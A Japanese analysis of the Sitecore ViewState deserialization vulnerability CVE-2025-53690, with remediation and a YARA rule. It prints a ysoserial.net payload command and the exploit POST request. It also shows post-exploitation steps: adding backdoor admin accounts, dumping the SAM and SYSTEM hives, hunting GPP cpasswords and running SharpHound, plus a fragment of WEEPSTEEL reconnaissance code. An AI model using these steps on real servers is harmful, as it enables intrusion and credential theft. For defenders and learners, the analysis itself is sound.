
これはCVE-2025-53690分析ドキュメントです。
CVE-2025-53690 は、Sitecore 製品群で発見された ViewState 逆シリアル化脆弱性であり、公開された ASP.NET machine key を悪用してリモートコード実行が可能な致命的なセキュリティ脆弱性です。
この脆弱性の核心は 不適切な構成管理 にあります:
ViewState は ASP.NET の状態管理機能であり:
__VIEWSTATE 隠しフィールドに保存<!-- web.config 例 -->
<system.web>
<machineKey
validationKey="[64バイトキー]"
decryptionKey="[48バイトキー]"
validation="HMACSHA256"
decryption="AES" />
</system.web>
Target: /sitecore/blocked.aspx
Method: POST
特徴: 認証なしでアクセス可能、ViewState を使用
攻撃者は既知の machine key と ysoserial.net を使用して悪意のあるペイロードを生成:
# ysoserial.net 使用例
ysoserial.exe -f ViewState -g TypeConfuseDelegate -c "calc.exe" --validationkey="[キー]" --validationalg="HMACSHA256" --decryptionkey="[キー]" --decryptionalg="AES"
POST /sitecore/blocked.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=[悪意のあるペイロード]&__VIEWSTATEGENERATOR=[値]
/sitecore/blocked.aspx# 実行されたコマンド
whoami
hostname
net user
tasklist
ipconfig /all
netstat -ano
net group "domain admins"
展開されたツール:
7za.exe: ファイル圧縮ツールlfe.ico: EARTHWORM ネットワークトンネリングツール1.vbs: コマンド実行用 VBScript# ローカル管理者アカウント作成
net user asp$ [パスワード] /add
net localgroup administrators asp$ /add
net user sawadmin [パスワード] /add
net localgroup administrators sawadmin /add
資格情報収集:
reg save HKLM\SYSTEM c:\users\public\system.hive
reg save HKLM\SAM c:\users\public\sam.hive
net user [AdminUser] /passwordchg:no /expires:never
wmic useraccount where name='[AdminUser]' set PasswordExpires=False
# Domain Controller の特定
nltest /DCLIST:[domain]
nslookup [domain-controller]
# GPO 内の cpassword 検索 (Group Policy Preferences 攻撃)
findstr /S /l cpassword \\[DC]\sysvol\[domain]\policies\*.xml
# BloodHound/SharpHound の実行
sh.exe -c all
// 収集する情報
Information.BasicsInfo basicsInfo = new Information.BasicsInfo
{
Directories = new Information.Directories
{
CurrentWebDirectory = HostingEnvironment.MapPath("~/")
},
OperatingSystemInformation = Information.GetOperatingSystemInformation(),
DiskInformation = Information.GetDiskInformation(),
NetworkAdapterInformation = Information.GetNetworkAdapterInformation(),
Process = Information.GetProcessInformation()
};
出力方法: ViewState に偽装してデータを隠蔽
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUKLTcyODc4{AES暗号化 + base64エンコードされた出力}" />
<!-- 固有の machine key を生成 -->
<machineKey
validationKey="[新しい_64バイト_キー]"
decryptionKey="[新しい_48バイト_キー]"
validation="HMACSHA256"
decryption="AES" />
# YARA ルール例 (WEEPSTEEL 検知)
rule WEEPSTEEL_Detection {
strings:
$viewstate = "__VIEWSTATE"
$crypto = "System.Security.Cryptography"
$serializer = "JavaScriptSerializer"
condition:
all of them
}
CVE-2025-53690 は、単純な構成ミスがどのように致命的なセキュリティ脅威につながるかを示す代表的な事例です。この脆弱性を通じて、学習者は実際の APT 攻撃の全ライフサイクルを体験し、現代的な攻撃手法と防御戦略を理解することができます。